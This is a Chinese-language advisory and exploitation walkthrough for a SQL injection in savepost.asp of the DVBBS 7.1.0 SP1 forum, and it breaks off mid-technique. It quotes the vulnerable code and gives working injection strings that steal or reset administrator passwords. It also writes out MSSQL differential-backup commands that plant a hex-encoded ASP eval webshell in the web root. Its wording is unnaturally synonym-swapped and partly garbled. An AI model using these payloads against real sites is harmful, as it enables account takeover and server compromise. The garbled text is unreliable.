动网论坛(DVBBS 7.1.0 SP1)Savepost.asp存有比较严重系统漏洞10-May-06发觉:Bug.Center.Team比较严重水平:比较严重生产商名字:动网论坛(DVBBS)程序流程版本号:DVBBS 7.1.0 SP1 系统漏洞剖析:由于程序流程在savepost.asp文件中自变量过虑关不紧,造成 数据库查询解决造成系统漏洞,能够获得社区论坛全部管理权限及其webshell。早已递交官方网审批,并根据确定,补丁下载早已发布 生产商补丁下载: http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1 见到下边:------------------------------If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0 If Buy_UserList<>"" Then Buy_UserList = Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","") ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||" GetMoneyType = 3 'UseTools = ToolsInfo(4)------------------------------------ 再朝下看:Public Sub Insert_To_Announce() '插进回应表 DIM UbblistBody UbblistBody = Content UbblistBody = Ubblist(Content) SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"Dvbbs.Execute(sql) 能够见到Buy_UserList这一自变量过虑有什么问题,呵呵呵,这一自变量又造成 ToolsBuyUser这一自变量有什么问题。确实是能够注入,呵呵呵。在悔改头看来补丁下载里边:insert里边有修复:&dvbbs.checkstr(ToolsBuyUser)&"来看应该是这个地方了。运用起來最好sql版本号,能够updata改用户名和密码,或是差别备份数据得shell。运用方法嘛,先申请注册一个id,找一个版块发帖,贴子內容下边有一个挑选贴子种类。挑选---社区论坛买卖币设定。下边是表格內容。 看源码:-------------------------------------挑选贴子种类赠予点卷贴赠送点卷贴社区论坛买卖帖设定点卷总数:选购总数限定:(设定为“-1”则不限定)
VIP客户访问 选择项:不用选购,必须选购
可选购客户名册限定:(每一个登录名用英文逗号“,”分节符分离,留意区别英文大小写)-------------------------------------就是这个地区了,hoho。下边有一个“可选购名册限定”,里边就填好:xjy111',0);update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]='yellowcat')/**/where[UserName]='qq156544632';-- 操作成功。看看我的Email。晕死,竟然变成空缺。不清楚为何哈。来个立即的: coolidea|||123',0);update/**/Dv_User/**/set/**/UserPassword='469e80d32c0559f8'/**/where[UserName]='qq156544632';-- 这次好啦,先撤出,用admin888这一登陆密码立即取得成功登陆。好啦,句子没有问题,大伙儿现在可以充分发挥,会写专用工具的,吧delphi哪些的搬出去。立即改管理人员的登陆密码进后台管理,能够修复数据库查询的方法获得shell(参照angel的文章内容,dvbbs7.1sql版本号仍然可以吧)或是差别备份数据(后台管理能够见到web相对路径): create table aspshell (str image); declare @a sysname select @a=db_name() backup database @a to disk='D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.bak; insert into aspshell values(0x3C256576616C20726571756573742822232229253E);declare @a sysname select @a=db_name() backup database @a to disk='D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.asp' with differential; drop table aspshell; 此外一种获得web相对路径方法(从岗位欠债弟兄那边见到的)create table regread(a varchar(255),b varchar(255));(创建一个临时表,储放载入到的信